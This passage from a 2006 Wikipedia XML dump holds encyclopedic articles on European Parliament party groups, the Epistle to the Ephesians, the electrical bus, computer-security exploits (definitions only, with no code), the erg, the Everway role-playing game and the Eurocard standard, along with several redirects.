|bgcolor=&quot;#ccffcc&quot;|[[Sweden]]
|bgcolor=&quot;#ccffcc&quot;|[[Left Party (Sweden)|Left Party]]
|bgcolor=&quot;#ccffcc&quot;|NGL
|-
|colspan=&quot;3&quot;|'''Associate Parties with MEPs'''
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Portugal]]
|bgcolor=&quot;#ffc0cb&quot;|[[Leftwing Bloc]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;1&lt;/sup&gt;
|-
|colspan=&quot;3&quot;|'''Associate Parties without MEPs'''
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Luxembourg]]
|bgcolor=&quot;#ffc0cb&quot;|[[Déi Lénk|The Left]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;1&lt;/sup&gt;
|-
|colspan=&quot;3&quot;|'''Associate Parties from outside the EU'''
|-
|bgcolor=&quot;#ccffcc&quot;|[[Norway]]
|bgcolor=&quot;#ccffcc&quot;|[[Socialist Left Party]]
|bgcolor=&quot;#ccffcc&quot;|NGL
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Romania]]
|bgcolor=&quot;#ffc0cb&quot;|[[Socialist Alliance Party (Romania)|Socialist Alliance Party]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;1&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Switzerland]]
|bgcolor=&quot;#ffc0cb&quot;|[[Swiss Labour Party]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;1&lt;/sup&gt;
|-
|colspan=&quot;3&quot;|'''Parties with MEPs as Associate Members of the Parliamentary Group'''
|-
|bgcolor=&quot;dddddd&quot;|[[Denmark]]
|bgcolor=&quot;dddddd&quot;|[[Folkebevaegelsen]]
|bgcolor=&quot;dddddd&quot;|
|}

'''Notes''''
*&lt;sup&gt;1&lt;/sup&gt; - Party is a member of the [[Party of the European Left]] (PEL)
*&lt;sup&gt;2&lt;/sup&gt; - Party is an observer in the PEL
*&lt;sup&gt;3&lt;/sup&gt; - Party is unaffiliated to either PEL or NGLA

==External links==
*http://www.guengl.org/showPage.jsp - Official site (in English)

{{EU_politics}}
[[Category:European Parliament party groups]]

[[als:Konföderale Fraktion der Vereinigten Europäischen Linken]]
[[de:Konföderale Fraktion der Vereinigten Europäischen Linken]]
[[et:Euroopa Ühendatud Vasakpoolsed ja Põhjala Vasak-Rohelised]]
[[es:Izquierda Unida Europea - Izquierda Verde Nórdica]]
[[fr:Gauche unitaire européenne, gauche verte nordique]]
[[nl:Europees Unitair Links/Noords Groen Links]]
[[pl:Zjednoczona Lewica Europejska - Nordycka Zielona Lewica]]
[[fi:GUE/NGL]]
[[sv:Europeiska enade vänstern/Nordisk grön vänster]]</text>
    </revision>
  </page>
  <page>
    <title>European Democrats</title>
    <id>9868</id>
    <revision>
      <id>41442723</id>
      <timestamp>2006-02-27T09:46:13Z</timestamp>
      <contributor>
        <username>Gurch</username>
        <id>241822</id>
      </contributor>
      <minor />
      <comment>arrangment -&gt; arrangement</comment>
      <text xml:space="preserve">[[Image:Eurodems.jpg|right]]
The '''European Democrats''' ('''ED''') are a [[conservative]] and [[eurosceptic]] party grouping with seats in the [[European Parliament]] as part of the larger '''[[European People's Party - European Democrats|EPP-ED]]''' group.  (They are not be confused with the [[European Democratic Party]], a newer [[centrist]] [[europhile|europhilic]] organization.)  

==History==
The ED subgroup can trace its history back to the originally-standalone '''European Conservative Group''' formed in the European Parliament by British [[Conservative Party (UK)|Conservative Party]] MEPs upon Britain's admission to the then-EC in 1972.  In the ensuing years, the group collected additional [[right-of-centre]] members, and in 1979 it changed its name to the '''European Democratic Group'''.   In the late seventies and early eighties, the EDG was the third-largest party grouping in the Parliament.

However, the group saw its membership fall sharply in the late 1980s, as many [[centre-right]] members moved to the rival [[European People's Party]] group, dominated by the German CDU and the ideology of [[christian democracy]] in general.  The EDG had been somewhat further from the political centre and less [[europhile|europhilic]] than the EPP.  Largely isolated, even hardline [[eurosceptic]]s like [[Margaret Thatcher]] conceded that the British Tories couldn't be effectively heard from such a peripheral group.  On [[1 May]] [[1992]], the EDG (now largely composed of UK [[Conservative Party (UK)|Conservative Party]] members) dissolved, and its remaining members were accorded &quot;associated party&quot; status in the EPP group; that is, being part of the parliamentary group without retaining actual membership in the EPP organization.  This was considered essential for the Tories, as the EPP was generally seen as quite favourable to European integration, a stance at odds with their core ideology.

The Conservative's relationship to the EPP would become a sore point in the following years, particularly for the eurosceptic general membership in Britain.  [[William Hague]] hoped to put the issue to rest by negotiating a new arrangement in 1999 by which the parliamentary group would rebrand itself as &quot;EPP-ED,&quot; with the &quot;European Democrat&quot; nomenclature returning after a seven year hiatus.  This was intented to nominally underscore the Conservative's status apart from the rest of EPP, and it was hoped that with the coming [[enlargement of the European Union]] numerous newly involved right-wing parties, averse to the EPP proper for its percieved [[eurofederalism]], would be willing to instead enter the ED subgroup, growing the overall alignment.  

The arrangement proved to do little to appease opposition. Hague's successor, [[Iain Duncan Smith]], made a concerted drive at one point to return to the EDG arrangement, but backed off when it became clear that Tory MEPs would not move voluntarily.  The hope that multiple Central and European parties would join ED also proved to be dubious, as only the Czech [[Civic Democratic Party]] took up the offer, with the remainder joining EPP proper or other groups such as [[Union for Europe of the Nations]] or [[Independence and Democracy]].

Today, ED remains a more [[eurosceptic]] subgroup within the broader EPP-ED bloc that contributes slightly more than 10% of its total MEPs.  It has thus far resisted the trend of incorporating as a [[European political party]].

==ED's future==
During the [[Conservative Party (UK) leadership election, 2005|2005 Conservative leadership contest]], eventual winner [[David Cameron]] pledged to end the EPP-ED coalition, while opponent [[David Davis]] argued in a letter to the editor of the [[Daily Telegraph]] that the current ED arrangement allowed the Conservatives to maintain suitable distance from EPP while still having influence in the largest parliamentary grouping.  Conservative/EPP-ED MEP [[Martin Callanan]] responded in that paper the following day:
:''SIR - David Davis (Letter, November 10) is sadly misinformed about our Conservative MEPs' relationship with the European People's Party (EPP) in the European Parliament. He claims that &quot;Conservatives are members of the European Democrat group, which forms an alliance with the EPP&quot;. In reality, though, the ED does not exist. It has no staff or money and is, in effect, a discussion group within the EPP. […] Far from being a symbolic step, as Mr Davis suggests, leaving the EPP is the one hard, bankable commitment to have come out of this leadership campaign.'' 

It is reported that the [[Czech Republic|Czech]] [[Civic Democratic Party]], the [[Poland|Polish]] [[Prawo i Sprawiedliwość|Law and Justice]] party and the [[France|French]] [[Rassemblement pour la France|Rally For France]] party are interested in joining a breakaway group.  Its position would be that the [[European Union]] should exist; however, it should be a looser supranational organisation then the current structure. This would make it more eurosceptic than the EPP, and less eurosceptic than the [[Union for Europe of the Nations]] and the [[Independence and Democracy]] group.

Some members from the above parties founded a new organization, the [[Alliance for an Open Europe]], in the midst of this debate, with broadly similar objectives.  It remains to be seem if what relationship would be anticipated between this body and a new Parliamentary group.

==Member parties==

{{CZE}}
*[[Civic Democratic Party|Ob&amp;#269;anská Demokratická Strana]] (ODS) (Civic Democratic Party) (12 members out of 264 of the EPP-ED Group)

{{ITA}}
*[[Pensioners' Party (Italy)|Partito dei Pensionati]] (Pensioners' Party) (one member)

{{POR}}
*[[People's Party (Portugal)|Partido Popular]] (People's Party) (two members)

{{UK}}
*[[Conservative Party (UK)|Conservative Party]] (CP) (26 members)
*[[Ulster Unionist Party]] (UUP) (one member)

==Historical results==
*'''1979''': 63 MEPs (14.5% of Parl)
*'''1984''': 67 MEPs (12.9% of Parl)
*'''1989''': 34 MEPs (6.6% of Parl)
*'''1994''': 24 MEPs (3.8% of Parl)
*'''1999''': 38 MEPs (6.1% of Parl)
*'''2004''': 29 MEPs (4.0% of Parl)
[[:de:Bild:Ep1979-2004.GIF|Source]].

''See also:'' [[Political parties of the world]].

==External links==
*[http://www.epp-ed.org/europeandemocrats/ European Democrats official website]

{{EU_politics}}
[[Category:European Parliament party groups]]

[[fi:Euroopan demokraatit]]
[[sv:European Democrats]]</text>
    </revision>
  </page>
  <page>
    <title>Epistle to the Ephesians</title>
    <id>9869</id>
    <revision>
      <id>37312999</id>
      <timestamp>2006-01-30T04:26:50Z</timestamp>
      <contributor>
        <username>MEJ119</username>
        <id>695343</id>
      </contributor>
      <minor />
      <comment>/* External link */ link -&gt; links</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
The '''Epistle to the Ephesians''' is one of the [[books of the Bible]] in the [[New Testament]]. It is traditionally said to be written by [[Paul of Tarsus|Paul]] while he was in prison in [[Rome]] (around AD [[62]]). If this is the case, then it was written about the same time as the [[Epistle to the Colossians]] (which in many points it resembles) and the [[Epistle to Philemon]]. More recently, however, biblical scholars have questioned the authorship of the letter.

It has been described by [[William Barclay (theologian)|William Barclay]] as the &quot;Queen of the Epistles&quot;.

==Purpose==
Ephesians does not seem to have originated in any special circumstances, but is simply a letter springing from Paul's love to the church there. It is an indication of his desire that they should be fully instructed in Christian [[doctrine]]. However, unlike [[Epistle to the Romans|Romans]], which is an exposition of Paul's [[gospel]] of [[salvation]], Ephesians unfolds the consequences of salvation, particularly in relation to the church.

==Outline==
Ephesians contains: 
* '''1:1, 2.''' The greeting 
* '''1:3&amp;ndash;2:10.''' A general description of the blessings that the [[gospel]] reveals. This includes the source of these blessings ([[Christ]]), the means by which they are attained, the reason they are given and their final result. The first part of this section (Eph 1:3&amp;ndash;1:14) is one continuous sentence in the original Greek. It ends with a fervent [[prayer]] for the further spiritual enrichment of the Ephesians.
* '''2:12&amp;ndash;3:21.''' A description of the change in the spiritual position of [[Gentiles]] as a result of the work of Christ. It ends with an account of how Paul was selected and qualified to be an [[Twelve Apostles#Other apostles|apostle]] to the Gentiles, in the hope that this will keep them from being dispirited and lead him to pray for them.
* '''4:1&amp;ndash;16.''' A chapter on unity in the midst of the diversity of gifts among believers.
* '''4:17&amp;ndash;6:10.''' Instructions about ordinary life
* '''6:11&amp;ndash;24.''' The imagery of [[spiritual warfare]], the mission of [[Tychicus]], and valedictory blessings.

==Founding of the church at Ephesus==
Paul's first and hurried visit for the space of three months to [[Ephesus]] is recorded in Acts 18:19&amp;ndash;21. The work he began on this occasion was carried forward by [[Apollos]] (24&amp;ndash;26) and [[Aquila (bible)|Aquila]] and [[Priscilla]]. On his second visit early in the following year, he remained at Ephesus &quot;three years,&quot; for he found it was the key to the western provinces of [[Asia Minor]]. Here &quot;a great door and effectual&quot; was opened to him (1 Cor 16:9), and the church was established and strengthened by his assiduous labours there (Acts 20:20, 31). From Ephesus the gospel spread abroad &quot;almost throughout all Asia&quot; (19:26). The word &quot;mightily grew and prevailed&quot; despite all the opposition and persecution he encountered.

On his last journey to [[Jerusalem]], the apostle landed at [[Miletus]] and, summoning together the elders of the church from Ephesus, delivered to them his remarkable farewell charge (Acts
20:18&amp;ndash;35), expecting to see them no more.

The following parallels between this epistle and the Milesian charge may be traced:

# [[Acts]] 20:19 = Eph 4:2. The phrase &quot;lowliness of mind&quot; occurs nowhere else.
# [[Acts]] 20:27 = Eph 1:11. The word &quot;counsel,&quot; as denoting the divine plan, occurs only here and Heb 6:17.
# [[Acts]] 20:32 = Eph 3:20. The divine ability.
# [[Acts]] 20:32 = Eph 2:20. The building upon the foundation.
# [[Acts]] 20:32 = Eph 1:14, 18. &quot;The inheritance of the saints.&quot;

==Author and audience==
The first verse in the letter is:
&lt;blockquote&gt;Paul, an apostle of Christ Jesus by the will of God, To the saints in Ephesus, the faithful in Christ Jesus. (Eph 1:1 NIV) &lt;/blockquote&gt;

Hence the letter explicitly designates the Ephesian church as its recipient and Paul as its writer.

However, there are a few problems with this:
* The earliest known manuscripts omit the words &quot;in Ephesus&quot;, rendering the phrase simply as &quot;to the saints ... the faithful in Christ Jesus&quot; (NIV alternative translation). 
* The letter lacks any references to people in Ephesus, or any events Paul experienced there. 
* Phrases such as &quot;ever since I heard about your faith&quot; (1:15 NIV) seem to indicate that the writer has no firsthand knowledge of his audience. Yet the book of Acts records that Paul spent a significant amount of time with the church in Ephesus, and in fact was one of its founders. 

There are several theories which try to explain these problems. 

* '''Ephesians was not written by Paul'''. The letter was written by someone who used Paul's writings extensively, hailing him as the author in order to give him proper credit. However, this theory fails to explain the omission of the phrase &quot;in Ephesus.&quot; 
* '''Ephesians is a circular letter'''. Paul sent several copies of the letter to several churches in [[Asia Minor]], changing the greeting as was fit.

For more details, see the article [[Authorship of the Pauline epistles#Ephesians|Authorship of the Pauline epistles]].

==Place, date, and purpose of the writing of the letter==
If we accept that Paul was the author, then it was probably written from [[Rome]] during Paul's first imprisonment (3:1; 4:1; 6:20), and probably soon after his arrival there. This was around the year AD 62, four years after he had parted with the Ephesian elders at Miletus.

There seems to have been no special occasion for the writing of this letter, as already noted. Unlike his epistle to the Colossians, which was written to refute doctrines which had sprung up in that church, Paul's object in writing Ephesians was plainly not polemical.

Ephesians could have been written to sum up Paul's teaching to the church in Ephesus, or even to several churches he had founded in Asia Minor. The major theme in the letter is the Church and, in particular, its foundation in Christ as part of the will of the Father.

In the [[Epistle to the Romans]], Paul writes from the point of view of [[justification (theology)|justification]] by the imputed righteousness of Jesus; here he writes from the point of view specially of union with Christ, who is the head of the true church.

==Relation between this epistle and that to the Colossians==
The style and subject matter of this epistle is very close to that of the epistle to the Colossians. There are about 42 passages in Ephesians which appear to be expansions from the epistle to Colossae. Some of these parallel passages are given below:

* Eph 1:7; Col 1:14
* Eph 1:10; Col 1:20
* Eph 3:2; Col 1:25
* Eph 5:19; Col 3:16
* Eph 6:22; Col 4:8
* Eph 1:19&amp;ndash;2:5; Col 2:12,13
* Eph 4:2&amp;ndash;4; Col 3:12&amp;ndash;15
* Eph 4:16; Col 2:19
* Eph 4:32; Col 3:13
* Eph 4:22&amp;ndash;24; Col 3:9,10
* Eph 5:6&amp;ndash;8; Col 3:6&amp;ndash;8
* Eph 5:15,16; Col 4:5
* Eph 6:19,20; Col 4:3,4
* Eph 5:22&amp;ndash;6:9; Col 3:18&amp;ndash;4:1

Two explanations for this are commonly given:

# If we accept that Ephesians was written by Paul at about the same time as he wrote Colossians, then he may have written Colossians first as a more specific letter to deal with particular problems in the Colossian church. He then may have expanded on some of the material in this letter in order to write a more general letter to either the Ephesian church or to a group of churches.
# If the letter were written by someone else in Paul's name or style, then that person may have used material from Paul's letter to the Colossians.

==Style==
&quot;The letters of the apostle are the fervent outburst of pastoral zeal and attachment, written without reserve and in unaffected simplicity; sentiments come warm from the heart, without the shaping out, pruning, and punctilious arrangement of a formal discourse. There is such a fresh and familiar transcription of feeling, so frequent an introduction of colloquial idiom, and so much of conversational frankness and vivacity, that the reader associates the image of the writer with every paragraph, and the ear seems to catch and recognize the very tones of living address.&quot; &quot;Is it then any matter of amazement that one letter should resemble another, or that two written about the same time should have so much in common and so much that is peculiar?

The style of this [[epistle]] is exceedingly animated, and corresponds with the state of the apostle's mind at the time of writing.  Overjoyed with the account which their messenger had
brought him of their [[faith]] and [[holiness]] (Eph 1:15), and transported with the consideration of the unsearchable wisdom of God displayed in the work of man's redemption, and of his astonishing love towards the [[Gentiles]] in making them partakers through faith of all the benefits of Christ's death, he soars high in his sentiments on those subjects, and gives his thoughts utterance in sublime and copious expression.

{{eastons}}

==External links==
Online translations of the [[Epistle to the Ephesians]]:
*  {{biblegateway||Ephesians}}
* [http://www.christnotes.org/bible.php?q=Ephesians+1 ''Ephesians'' at Christ Notes] (various versions)

&lt;center&gt;
&lt;br&gt;
{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|Preceded by:&lt;br&gt;[[Epistle to the Galatians|Galatians]]
|'''[[Epistles]]'''
|Followed by:&lt;br&gt;[[Epistle to the Philippians|Philippians]]
|}
&lt;/center&gt;

[[Category:Ancient Roman Christianity]]
[[Category:New Testament books|Ephesians]]

[[de:Brief des Paulus an die Epheser]]
[[es:Epístola a los Efesios]]
[[fr:Épître aux Éphésiens]]
[[ko:에페소인들에게 보낸 편지]]
[[id:Surat Paulus kepada Jemaat di Efesus]]
[[jv:Layang Paulus Efesus]]
[[nl:Brief van Paulus aan de Efeziërs]]
[[pl:List do Efezjan]]
[[pt:Epístola aos Efésios]]
[[fi:Kirje efesolaisille]]
[[sv:Efesierbrevet]]
[[zh:以弗所書]]</text>
    </revision>
  </page>
  <page>
    <title>European</title>
    <id>9870</id>
    <revision>
      <id>15907731</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Europe]]
</text>
    </revision>
  </page>
  <page>
    <title>Electrical bus</title>
    <id>9872</id>
    <revision>
      <id>35493797</id>
      <timestamp>2006-01-17T03:34:30Z</timestamp>
      <contributor>
        <username>Giftlite</username>
        <id>37986</id>
      </contributor>
      <comment>wikify</comment>
      <text xml:space="preserve">An '''electrical bus''' (sometimes spelled ''buss'') is a physical electrical interface where many devices share the same electric connection.  This allows signals to be transferred between devices (allowing [[information]] or [[Electric power|power]] to be shared).  A bus often takes the form of an array of wires that terminate at a [[connector]] which allows a device to be plugged onto the bus. 

* Buses are used for connecting components of a [[computer]]: a common example is the [[Peripheral Component Interconnect|PCI]] bus in [[personal computer|PC]]s. See [[computer bus]].
* Buses are used for communicating between computers (often [[microprocessor]]s). See [[computer bus]].
* Buses are used for distribution of electrical power to components of a system. The (usually) thick conductors used are called [[busbar]]s. In an electrical laboratory, for example, a bare bus-bar will sometimes line the wall, to be used by the engineers and technicians for its high electrical current carrying capacity, which allows a convenient approximation to ''zero voltage'', or ''[[Ground (electricity)|ground]]'' in the [[United States|US]], and ''[[Ground (electricity)|earth]]'' in the [[United Kingdom|UK]].
* In analysis of an electric power network a &quot;bus&quot; is any node of the [[One-line diagram|single-line diagram]] at which [[voltage]], [[Current (electricity)|current]], power flow, or other quantities are to be evaluated.  These may or may not correspond with heavy electrical conductors at a [[Electrical substation|substation]]. 

See also [[distributed generation]], [[Switched-mode power supply|Switched-mode power supply; SMPS]].

[[Category:Electrical components]]</text>
    </revision>
  </page>
  <page>
    <title>Esperanto language</title>
    <id>9873</id>
    <revision>
      <id>15907733</id>
      <timestamp>2004-04-11T07:08:55Z</timestamp>
      <contributor>
        <username>Brion VIBBER</username>
        <id>51</id>
      </contributor>
      <comment>moved to &quot;Esperanto&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Esperanto]]
</text>
    </revision>
  </page>
  <page>
    <title>Exploit (computer security)</title>
    <id>9875</id>
    <revision>
      <id>41539568</id>
      <timestamp>2006-02-28T00:55:58Z</timestamp>
      <contributor>
        <ip>131.151.145.30</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">In [[computer security]], an '''exploit''' is a piece of [[software]] that takes advantage of a [[software bug|bug]], [[glitch]] or [[vulnerability (computer science)|vulnerability]], leading to [[privilege escalation]] or [[denial of service]] on a computer system.

There are several methods of classifying exploits.  The most common is by how the exploit contacts the vulnerable software.  A 'remote exploit' works over a network and exploits the security vulnerability without any prior access to the vulnerable system.   A 'local exploit' requires prior access to the vulnerable system and usually increases the privileges of the person running the exploit past those granted by the [[system administrator]]. Exploits against client applications also exist, usually consisting of modified servers that send an exploit if accessed with client application. Exploits against client applications may also require some interaction with the user and thus may be used in combination with [[social engineering (computer security)|social engineering]] methods.

Exploits can also be classified by the type of vulnerability they attack.  See [[buffer overflow]], [[integer overflow]],  [[format string attacks]], [[race condition]], [[cross-site scripting]], [[cross-site request forgery]], [[return-to-libc attack]], [[code injection]] and [[SQL injection]] bugs.

Another classification is by the action against vulnerable system: unauthorised data access, code execution, [[denial of service]].

Many exploits are designed to provide [[superuser]]-level access to a computer system.  However, it is also possible to use several exploits, first to gain low-level access, then to escalate privileges repeatedly until one reaches root.

Normally a single exploit can only take advantage of a specific software vulnerability. Often, when an exploit is published, the vulnerability is fixed through a [[patch (computing)|patch]] and the exploit becomes obsolete for newer versions of the software. This is the reason why some [[Black hat|blackhat hackers]] do not publish their exploits but keep them private to themselves or other malicious crackers. Such exploits are referred to as '[[zero day]] exploits' and to obtain access to such exploits is the primary desire of unskilled malicious attackers, often nicknamed [[script kiddie]]s.

==See also== 
*[[computer security]]
*[[shellcode]], code that is executed to gain access to a system, usually as a super-user
*[[computer virus]]
*[[Metasploit Project|Metasploit]], a framework for the construction and execution of exploits

==External links==
*[http://www.securitydocs.com/Exploits SecurityDocs] - A great resource for researching exploits
*[http://www.frsirt.com/exploits Exploits] - World Wide Exploits and 0day Exploits Database by the FrSIRT
*[http://medialab.freaknet.org/~alpt/tutorial/papers.html Advanced Exploit Tutorials]
*[http://www.packetstormsecurity.org Proof of concept exploit downloads]
*[http://www.securityfocus.com/ Home of the Bugtraq computer security mailing list]
*[http://www.securityforest.com/wiki/index.php/Category:ExploitTree ExploitTree] from [http://www.securityforest.com/ SecurityForest]
*[http://www.security.nnov.ru/exploits/ Exploits archive] from [http://www.security.nnov.ru/ Security.NNOV]
*[http://www.rosiello.org Rosiello Security Exploits] from [http://www.rosiello.org Rosiello Security]

[[Category:Security exploits]]

[[de:Exploit]]
[[es:Exploit]]
[[fr:Exploit]]
[[it:Exploit]]
[[pl:Exploit]]
[[pt:Exploit]]
[[ru:Эксплойт]]</text>
    </revision>
  </page>
  <page>
    <title>Erg</title>
    <id>9877</id>
    <revision>
      <id>34480286</id>
      <timestamp>2006-01-09T10:03:20Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sv</comment>
      <text xml:space="preserve">:''For other uses see [[Erg (disambiguation)]]''

An '''erg''' is the unit of [[energy]] and [[mechanical work]] in the ''[[Centimetre gram second system of units|centimetre-gram-second]]'' (CGS) system of [[unit]]s, symbol &quot;erg&quot;.  Its name is derived from the Greek word meaning &quot;work&quot;.

The erg is a quite small unit, equal to a force of one [[dyne]] exerted for a distance of one [[centimetre]].  In the CGS [[Unit of measurement#Base and derived units|base units]], it is equal to one [[gram]]-square centimetre per [[second]] squared (g&amp;middot;cm&lt;sup&gt;2&lt;/sup&gt;/s&lt;sup&gt;2&lt;/sup&gt;).  It is thus equal to [[1 E-7 J|1 &amp;times; 10&lt;sup&gt;-7&lt;/sup&gt; joule]]s or 0.1 microjoule (&amp;micro;J) in [[SI]] units.  It is approximately the amount of energy that a mosquito uses to take flight.

1 erg = 10&lt;sup&gt;-7&lt;/sup&gt; [[joule]]

1 joule = 10&lt;sup&gt;7&lt;/sup&gt; ergs

[[Category:Units of energy]]
[[Category:CGS units]]

From [[Greek language|Greek]] ''ergon'' work &lt;nowiki&gt;[&lt;/nowiki&gt;[[Oxford English Dictionary|OED]]&lt;nowiki&gt;]&lt;/nowiki&gt;

[[da:Erg (måleenhed)]]
[[de:Erg (Einheit)]]
[[fr:Erg]]
[[it:Erg]]
[[he:ארג]]
[[nl:Erg]]
[[ja:エルグ]]
[[pl:Erg (jednostka)]]
[[pt:Erg]]
[[ru:Эрг]]
[[sl:Erg]]
[[sv:Erg]]</text>
    </revision>
  </page>
  <page>
    <title>Everway</title>
    <id>9878</id>
    <revision>
      <id>39795566</id>
      <timestamp>2006-02-15T22:45:20Z</timestamp>
      <contributor>
        <username>Genesis</username>
        <id>72450</id>
      </contributor>
      <comment>added infobox</comment>
      <text xml:space="preserve">{{Infobox RPG
|title= Everway
|image= 
|caption= 
|designer= [[Jonathan Tweet]]
|publisher= [[Wizards of the Coast]], [[Rubicon Games]], [[Gaslight Press]] (since 2001)
|date= 1995
|genre= [[Fantasy]]
|system= Custom
|footnotes= 
}}
'''Everway''' was marketed as a &quot;Visionary [[role-playing game|Roleplaying Game]]&quot;, first published by [[Wizards of the Coast]] under their [[Alter Ego]] brand in the mid-[[1990s]]. Its lead designer was [[Jonathan Tweet]]. It has been often characterized as an innovative piece with a limited commercial success. Wizards later abandoned the line, and [[Rubicon Games]] purchased it, and published several supplements. The line was sold again to [[Gaslight Press]] in February [[2001]].

The game had a fantasy setting of the [[multiverse]] type, with many different worlds, some of which differed from generic fantasy. It appeared to have been heavily influenced by [[Tarot]], the four [[classical element]]s of [[History of Ancient Greece|ancient Greece]], and [[mythology|mythologies]] from around the world.

Everway was first with implementing, in a commercial game, several new concepts including much more picture-based/visual source material and character creation than usual. Like other works by [[Jonathan Tweet]], the rules are very simple and flexible. It is also one of a few &quot;diceless&quot; RPGs.  Although the Fortune Deck works as a randomizer, the results obtained by it are entirely arbitrary and subjective, and the GM's absolute power over the game is further emphasized by the three resolution systems: Karma (the higher character ability wins, modified by situation), Drama (the GM decides what happens, by what they think most appropriate), and Fortune (more or less the same as the above, with interpretation flavored by a card draw). The original edition contained the &quot;Fortune&quot; deck of thirty-six cards, used for &quot;divination&quot; and action-resolution, as well as ninety &quot;Vision&quot; cards used as source material. The cards were illustrated by [[Scott Kirschner]] and [[Jeff Miracola]]. The box also had three books of source material and gameplaying tips.

== External links ==

* [http://www.gaslightpress.com/Everway/default.asp Everway section of Gaslight Press web site]
* [http://groups.yahoo.com/group/Everway-L/ Yahoo! Everway mailing list]
* [http://www.jonathantweet.com/jotgameshub.html Jonathan Tweet's web site]
* [http://www.runester.com/cgi/Wala/wala.pl?HomePage EverWiki]

{{rpg-stub}}

[[Category:Fantasy role-playing games]]

[[de:Everway]]</text>
    </revision>
  </page>
  <page>
    <title>Expellees</title>
    <id>9880</id>
    <revision>
      <id>15907738</id>
      <timestamp>2002-08-12T23:58:05Z</timestamp>
      <contributor>
        <username>Toby Bartels</username>
        <id>1078</id>
      </contributor>
      <minor />
      <comment>Redirect with stuff after it; Removed such stuff, which Julie has presumably incorporated within the new page.</comment>
      <text xml:space="preserve">#REDIRECT [[Diaspora studies]]</text>
    </revision>
  </page>
  <page>
    <title>Efficient Markets Hypothesis</title>
    <id>9881</id>
    <revision>
      <id>15907739</id>
      <timestamp>2004-12-24T03:54:30Z</timestamp>
      <contributor>
        <username>Jerryseinfeld</username>
        <id>106579</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Efficient market hypothesis]]</text>
    </revision>
  </page>
  <page>
    <title>Efficient markets theory</title>
    <id>9882</id>
    <revision>
      <id>21193599</id>
      <timestamp>2005-08-17T04:16:06Z</timestamp>
      <contributor>
        <username>Shawnc</username>
        <id>388211</id>
      </contributor>
      <comment>Redirected. Reason: a search via Google reveals that the phrase &quot;Efficient Market Theory&quot; (42,500 hits) is more commonly used compared to the phrase &quot;Efficient Markets Theory&quot; (4,890 hits).</comment>
      <text xml:space="preserve">#REDIRECT [[Efficient market theory]]</text>
    </revision>
  </page>
  <page>
    <title>Eurocard</title>
    <id>9883</id>
    <revision>
      <id>40837980</id>
      <timestamp>2006-02-23T09:19:17Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
      </contributor>
      <comment>Removing image with no copyright information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">{{cleanup-date|July 2005}}

'''Eurocard''' is a [[Europe]]an standard format for [[Printed circuit board|PCB]] cards, which can be plugged together into a standardized [[subrack]]. The subrack consists of a series of slotted card guides on the top and bottom, into which the cards are slid so they stand on end, like books on a shelf. At the &quot;back&quot; of each card is one or more connectors, which plug into mating connectors on a backplane which closes the rear of the subrack.


&lt;!-- Image with unknown copyright status removed: [[Image:2414.jpg]] --&gt;


== Sizing and dimensions ==

The Eurocard packaging system is a complex mixture of English and metric dimensions.

Eurocard subracks have standardized sizes in the vertical and horizontal directions. Height is specified by the unit 'U', with 1 U being 1.75 [[inch]]es. Width is specified by the unit 'HP', with 1 HP being 0.20 inches. 'U' stands for 'Unit' and 'HP' for 'Horizontal Pitch' respectively. A 3U subrack is 5.25 inches high and accepts a 3U Eurocard which is 100 [[millimeter|mm]] high. Another popular size is the 6U high subrack which is 10.5 inches (266.7 mm) high and accepts 6U Eurocards which are 233.35 mm high. Note that front panel sizes are slightly less than the subrack sizes: for example a 3U front panel may only be 130 mm (5.12 inches) high whereas the 3U subrack itself is 133.35 mm (5.25 inches) high.

The Eurocard height starts at 100 mm and increments by 133.35 mm (5¼ in) increments. This arrangement allows two 3U high (100 mm) Eurocards to be supported properly next to a 6U high (233.35 mm) Eurocard. The 33.35 mm space is required for the card guide structure that would be between the two 3U high cards.

Eurocards come in modular depths that start at 100 mm and then increase in 60 mm increments. The 160 mm depth is the most common today, however standard hardware is available to accommodate depths of 100 mm, 160 mm, 220 mm, 280 mm, 340 mm, and 400 mm

== Standards &amp; architecture ==

The Eurocard mechanical architecture was defined originally under IEC-60297-3. Today, the most widely recognized standards for this mechanical structure are [[IEEE]] 1101.1, IEEE 1101.10 (also known commonly as &quot;dot ten&quot;) and IEEE 1101.11. IEEE 1101.10 covers the additional mechanical and [[EMI]] features required for [[VITA]] 1.1-1997(R2002) which is the VME64 Extensions standard as well as [[PICMG]] 2.0 (R3.0) which is the [[CompactPCI]] specification. 

The IEEE 1101.11 standard covers rear plug-in units that are also called [[rear transition module]]s or RTMs.

The Eurocard is a mechanical system and does not define the specific connector to be used or the signals that are assigned to connector contacts.

The connector systems that are commonly used with Eurocard architectures include the original [[DIN 41612]] connector that is also standardized as IEC 60603.2. This is the connector that is used for the VMEbus standard which was IEEE 1014. The connector known as the 5-row DIN which is used for the VME64 Extensions standard is IEC 61076-4-113. The VME64 Extension architecture defined by VITA 1.1-1997 (R2002).

Another popular computer architecture that utilizes the 6U-160 Eurocard is CompactPCI and [[CompactPCI Express]]. These are defined by PICMG 2.0R3 and PICMG Exp0 R1 respectively. Other computer architectures that utilize the Eurocard system are [[VXI]], [[PXI]], and [[PXI Express]]. 

A computer architecture that used the 6U-220 Eurocard format was [[Multibus-II]] which was IEEE 1296.

